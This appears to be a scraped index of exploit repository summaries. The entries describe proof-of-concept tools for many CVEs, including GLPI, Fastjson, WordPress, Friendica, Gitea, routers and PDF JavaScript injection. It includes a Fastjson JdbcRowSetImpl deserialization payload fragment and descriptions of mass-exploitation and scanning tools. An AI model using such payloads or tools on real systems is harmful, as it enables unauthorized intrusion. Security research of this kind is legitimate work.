CVE-2022-35914-RCE

CVE-2022-35914 by cyb3rk0ala PoC for CVE-2022-35914 , a command-injection vulnerability involving the htmLawed test component in vulnerable GLPI installations. The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab...

CVE-2020-8958

CVE-2020-8958 CVE-2020-8958 : Authenticated Remote Code Execution Exploit for NetLink Routers using boa server. CVSS Score: 7.2 Vulnerability Types: OS Command Injection Authentication: Required Affected Models: HG323 Description The /boaform/admin/formPing resource in Netlink routers allows remo...

CVE-2026-75429_PowerJob_friend_process_RCE

PowerJob Server Remote Code Execution via Unauthenticated /friend/process Groovy Injection 1. Summary The PowerJob Server distributed job scheduling / computing framework exposes the /friend/process endpoint on its Worker↔Server transport-layer HTTP port 10010 with no authentication whatsoever...

CVE-2016-10204_Webshell

CVE-2016-10204Webshell A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint, leading to upload of a php webshell. Currently, the webshell variable is set for a MySQL payload. This can be replaced with whatever backend you need to target. More information...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE Exploit A security research tool for detecting and testing the CVE-2025-12735 vulnerability in the expr-eval and expr-eval-fork npm packages. ⚠️ Disclaimer This tool is for authorized security testing and educational purposes only. Unauthorized access to computer...

CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 is medium severity LDAP injection vulnerability in Apache Archiva versions before 2.2.5. It allows an attacker to retrieve any LDAP attribute values of users that exist on the LDAP server. From the official Apache Archiva advisory: By providing special values to th...

SQLi_Sleeps

SQLiSleeps It is a simple script that allows to find SQLi vulnerabilities, obtaining the response time greater than 20 seconds per medium and time-based injection. usage: SQLiSleeps2.py -h -u URLS -d DATA -c COOKIE Realiza una petición GET a múltiples URLs con diferentes datos. options: -h, --hel...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote Command Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true Unknown version between 1.2.24-41...

CVE-2025-3776

CVE-2025-3776 - Remote Code Execution in "Verification SMS with TargetSMS" Plugin = 1.5 Plugin Information Plugin Name: Verification SMS with TargetSMS Vulnerable Versions: = 1.5 CVE ID: CVE-2025-3776 Type: Remote Code Execution RCE OWASP Classification: A1: Injection CVSS Severity: 10.0 Critical...

CVE-2026-72550-poc

CVE-2026-72550 — Friendica Unauthenticated SQL Injection Unauthenticated stacked-query SQL injection in the photos endpoint in Friendica allows any visitor to run arbitrary SQL. Field| Value ---|--- CVE ID| CVE-2026-72550 Product| Friendica self-hosted federated social network Affected| =...

cheat-engine

Cheat Engine Cheat Engine is a development environment focused on modding games and applications for personal use. Download Latest Version Older versions Links Website Forum Forum alternate Forum alternate Wiki Social Media Reddit Twitter Donate Patreon PayPal Basic Build Instructions 1. Download...

CVE-2026-21013-PDF-JavaScript-Injection-via-Embedded-Script

CVE-2026-21013 – PDF JavaScript Injection via Embedded Script Program Code Python generating malicious PDF generatepdfjsinject.py - Creates a PDF with embedded JavaScript pdf = b"""%PDF-1.7 1 0 obj endobj trailer %%EOF """ with open"malicious.pdf", "wb" as f: f.writepdf print"malicious.pdf create...

CVE-2024-57521-RuoYi-SQLi

🛡️ CVE-2024-57521 RuoYi-Vue Post-Authentication SQL Injection Vulnerability Audit Notes Figure 1: CVE-2024-57521 SQL Injection Vulnerability Data Flow Audit Diagram 0. Project Statement This repository is intended for security research and educational purposes only. Do not use the techniques in...

CVE-2021-24959

CVE-2021-24959 Description The WP Email Users WordPress plugin through 1.7.6 does not escape the dataraw parameter in the weuselectedusers1 AJAX action, available to any authenticated users, allowing them to perform SQL injection attacks. CVE CVE-2021-24959 CVSS 8.8 High Publicly Published Januar...

CVE-2022-29337

CVE-2022-29337 C-DATA FD702XW-X-R430 v2.1.13X001 was discovered to contain a command injection vulnerability via the vacmd parameter in formlanipv6. This vulnerability allows attackers to execute arbitrary commands via a crafted HTTP request...

CVE-2024-27956

Wordpress SQLI-2-RCE Exploit This Python script exploits CVE-2024-27956, a vulnerability in Wordpress that allows for SQL Injection leading to Remote Code Execution RCE. Features Multi-threaded Exploitation: Utilizes concurrent threads to exploit multiple Wordpress instances simultaneously. Dynam...

Spring_cve-2022-22980

Springcve-2022-22980 spring data mongodb remote code execution | cve-2022-22980 poc Description A Spring Data MongoDB application is vulnerable to SpEL injection when using @Query or @Aggregation-annotated query methods with SpEL expressions that contain query parameter placeholders for value...

AOSP-DownloadProviderDbDumper

AOSP-DownloadProviderDbDumper PoC Exploiting SQL Injection in Android's Download Provider CVE-2018-9493 Security Advisory https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-Androids-Download-Provider-SQL-Injection-CVE-2018-9493.pdf More Information...

CVE-2023-46805

CVE-2023-46805 Scanner CVE-2023-46805 Scanner for possible vulnerable Ivanti Connect Secure appliances by country using Shodan. Script version: 1.3 Updated with the recent blog post made by Assetnote ⚠️ This script is for defensive purposes and should be used by cybersecurity professionals to...

CVE-2026-60004-poc-gitea

CVE-2026-60004 Proof-of-Concept PoC Overview This repository contains a proof-of-concept tool for CVE-2026-60004, an authenticated or pre-auth remote code execution RCE vector affecting certain Gitea versions via the diffpatch hook injection technique. The primary implementation is a single Go...